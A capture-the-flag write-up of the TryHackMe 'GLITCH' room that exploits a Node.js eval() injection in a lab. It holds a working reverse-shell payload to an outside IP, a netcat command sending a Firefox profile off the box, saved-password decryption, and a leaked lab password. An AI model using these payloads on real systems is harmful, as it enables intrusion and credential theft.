Information
Room#
- Name: GLITCH
- Profile: tryhackme.com
- Difficulty: Easy
- Description: Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap ffuf dumpzilla firefox-decrypt
Network enumeration#
Port and service scan with nmap
gave nothing crazy. It's clear
we must focus on the web app.
Arbitrary local domain name:
$ grep glitch /etc/hosts
10.10.124.106 glitch.thm
Web reconnaissance#
The title of the home page is <title>not allowed</title>
while the http
request contains the following cookie header: Cookie: token=value
.
The following script in the body of the page seems not to be called.
<script>
function getAccess() {
fetch('/api/access')
.then((response) => response.json())
.then((response) => {
console.log(response);
});
}
</script>
Web exploitation#
Let's call the API to try to get an access token.
$ curl http://glitch.thm/api/access
{"token":"dGhpc19pc19ub3RfcmVhbA=="}
By curiosity, let's check the base64 decoded value.
$ printf %s 'dGhpc19pc19ub3RfcmVhbA==' | base64 -d
this_is_not_real
We can use this token to access the home page.
There is a script http://glitch.thm/js/script.js calling the API endpoint /api/items
.
Web enumeration#
Let's see if we can find more API endpoints.
$ ffuf -u http://glitch.thm/api/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -H 'Cookie: token=this_is_not_real'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://glitch.thm/api/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
:: Header : Cookie: token=this_is_not_real
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
access [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 25ms]
items [Status: 200, Size: 169, Words: 1, Lines: 1, Duration: 26ms]
:: Progress: [56293/56293] :: Job [1/1] :: 1572 req/sec :: Duration: [0:00:40] :: Errors: 0 ::
Nothing new, so I check the root of the app.
$ ffuf -u http://glitch.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -H 'Cookie: token=this_is_not_real'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://glitch.thm/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Header : Cookie: token=this_is_not_real
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
js [Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 36ms]
img [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 25ms]
secret [Status: 200, Size: 462, Words: 116, Lines: 23, Duration: 89ms]
[Status: 200, Size: 1763, Words: 425, Lines: 63, Duration: 25ms]
:: Progress: [26584/26584] :: Job [1/1] :: 1509 req/sec :: Duration: [0:00:18] :: Errors: 2 ::
The /secret
page was not accessible unauthenticated but it's a rabbit hole.
$ curl http://glitch.thm/secret -H 'Cookie: token=this_is_not_real'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>nothing.</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
height: 100vh;
width: 100%;
background: url('img/rabbit.png') repeat;
}
</style>
</head>
<body></body>
</html>
As this challenge seems guessy and unrealistic I decided to check the hint.
What other methods does the API accept?
Using POST method on the items API endpoint we get a message.
$ curl http://glitch.thm/api/items -H 'Cookie: token=this_is_not_real' -X POST
{"message":"there_is_a_glitch_in_the_matrix"}
Ok so we are on the right track.
Maybe there are parameters to it. To find them we can continue fuzzing with ffuf (check my ffuf THM room about that).
$ ffuf -u 'http://glitch.thm/api/items?FUZZ=noraj' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -b 'token=this_is_not_real' -X POST -mc all -fc 400
...
________________________________________________
:: Method : POST
:: URL : http://glitch.thm/api/items?FUZZ=noraj
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
:: Header : Cookie: token=this_is_not_real
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 400
________________________________________________
cmd [Status: 500, Size: 1082, Words: 55, Lines: 11, Duration: 28ms]
:: Progress: [56293/56293] :: Job [1/1] :: 1551 req/sec :: Duration: [0:00:40] :: Errors: 0 ::
Web exploitation 2#
With a system command the app crashes because the command is sent to an eval()
so it will executed nodeJS code instead.
$ curl 'http://glitch.thm/api/items?cmd=id' -H 'Cookie: token=this_is_not_real' -X POST
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: id is not defined<br> at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1)<br> at router.post (/var/web/routes/api.js:25:60)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at /var/web/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre>
</body>
</html>
He is a quick script we can use to list files and read one in NodeJS (synchronously).
// List files
const fs = require('fs');
fs.readdirSync('.').forEach(file => {
console.log(file);
});
// Read file
const fs = require('fs');
const data = fs.readFileSync('user.txt', 'utf8');
console.log(data);
But it will be easier to spawn a reverse shell directly.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash", []);
var client = new net.Socket();
client.connect(9999, "10.9.19.77", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Let's one-line it.
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/bash", []); var client = new net.Socket(); client.connect(9999, "10.9.19.77", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
The full HTTP request will look like this:
POST /api/items?cmd=(function()%7b%20var%20net%20%3d%20require(%22net%22)%2c%20cp%20%3d%20require(%22child_process%22)%2c%20sh%20%3d%20cp.spawn(%22%2fbin%2fbash%22%2c%20%5b%5d)%3b%20var%20client%20%3d%20new%20net.Socket()%3b%20client.connect(9999%2c%20%2210.9.19.77%22%2c%20function()%7b%20client.pipe(sh.stdin)%3b%20sh.stdout.pipe(client)%3b%20sh.stderr.pipe(client)%3b%20%7d)%3b%20return%20%2fa%2f%3b%20%7d)()%3b HTTP/1.1
Host: glitch.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=this_is_not_real
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
The HTTP answer always contain vulnerability_exploited
when the code is executed without error and then we can see the /a/
return value.
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 22 Jan 2022 21:51:01 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"1b-lqv7vugOOXrs0UkVWHKxGtfYvZk"
Content-Length: 27
vulnerability_exploited /a/
System enumeration#
$ ncat -nlvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.227.181.
Ncat: Connection from 10.10.227.181:40986.
id
uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)
pwd
/var/web
ls -lhA /home/user
total 40K
lrwxrwxrwx 1 root root 9 Jan 21 2021 .bash_history -> /dev/null
-rw-r--r-- 1 user user 3.7K Apr 4 2018 .bashrc
drwx------ 2 user user 4.0K Jan 4 2021 .cache
drwxrwxrwx 4 user user 4.0K Jan 27 2021 .firefox
drwx------ 3 user user 4.0K Jan 4 2021 .gnupg
drwxr-xr-x 270 user user 12K Jan 4 2021 .npm
drwxrwxr-x 5 user user 4.0K Jan 22 18:43 .pm2
drwx------ 2 user user 4.0K Jan 21 2021 .ssh
-rw-rw-r-- 1 user user 22 Jan 4 2021 user.txt
cat /home/user/user.txt
THM{EDITED}
EoP (Elevation of Privilege): user to v0id#
The hint says:
My friend says that sudo is bloat.
sudo -l
is requiring a password and we don't have it. As the hint suggests
that sudo
is too heavy maybe this machine is using an alternative.
Here the EoP scenario exploits doas which is a lightweight alternative to sudo.
which doas
/usr/local/bin/doas
cat /usr/local/etc/doas.conf
permit v0id as root
Only v0id can run commands as root with doas
, so let's EoP to v0id first.
We saw in the previous step there was a ~/.firefox
directory for our current
user.
ls -lhA /home/user/.firefox
total 12K
drwxrwxrwx 11 user user 4.0K Jan 27 2021 b5w4643p.default-release
drwxrwxrwx 3 user user 4.0K Jan 27 2021 'Crash Reports'
-rwxrwxr-x 1 user user 259 Jan 27 2021 profiles.ini
Netcat is available so we can use it to download the directory:
which nc
/bin/nc
On our machine:
$ mkdir ff-profile && cd ff-profile
$ ncat -nlvp 7777 | tar xf -
On the target machine:
cd /home/user/.firefox
tar cf - . | nc 10.9.19.77 7777
Now we can analyse this Firefox profile.
$ dumpzilla ff-profile/b5w4643p.default-release --All
Execution time: 2022-01-26 22:47:49.922231
Mozilla Profile: ff-profile/b5w4643p.default-release
====================================================================================================
Cookies [SHA256 hash: 20d942903d690f54af3e8aff1e2ca45084d49dbc8940b184e89eacd88c9d8525]
====================================================================================================
Traceback (most recent call last):
File "/usr/bin/dumpzilla", line 1145, in <module>
All_execute(varDir)
File "/usr/bin/dumpzilla", line 204, in All_execute
show_cookies_firefox(varDir,varDom = 0)
File "/usr/bin/dumpzilla", line 238, in show_cookies_firefox
cursor.execute("select baseDomain, name, value, host, path, datetime(expiry, 'unixepoch', 'localtime'), datetime(lastAccessed/1000000,'unixepoch','localtime') as last ,datetime(creationTime/1000000,'unixepoch','localtime') as creat,
isSecure, isHttpOnly FROM moz_cookies where baseDomain like ? escape '\\' and name like ? escape '\\' and host like ? escape '\\' and last like ? and creat like ? and isSecure like ? and isHttpOnly like ? and last between ? and ? and c
reat between ? and ?",[varDomain,varName,varHost,('%'+varLastacess+'%'),('%'+varCreate+'%'),varSecure,varHttp, varRangeLast1, varRangeLast2, varRangeCreate1,varRangeCreate2])
sqlite3.OperationalError: no such column: baseDomain
But dumpzilla
crashs, the last version is from 2013 and doesn't seems to support
newer Firefox profile versions. As we are interested in passwords only, let's
use firefox-decrypt
instead.
$ firefox-decrypt ff-profile/
Select the Mozilla profile you wish to decrypt
1 -> hknqkrn7.default
2 -> b5w4643p.default-release
2
Website: https://glitch.thm
Username: 'v0id'
Password: 'EDITED'
Let's use switch to v0id
and run a command as root.
user@ubuntu:/var/web$ su v0id
Password: love_the_void
v0id@ubuntu:/var/web$ doas -u root /bin/bash
Password: love_the_void
root@ubuntu:~# cat /root/root.txt
THM{EDITED}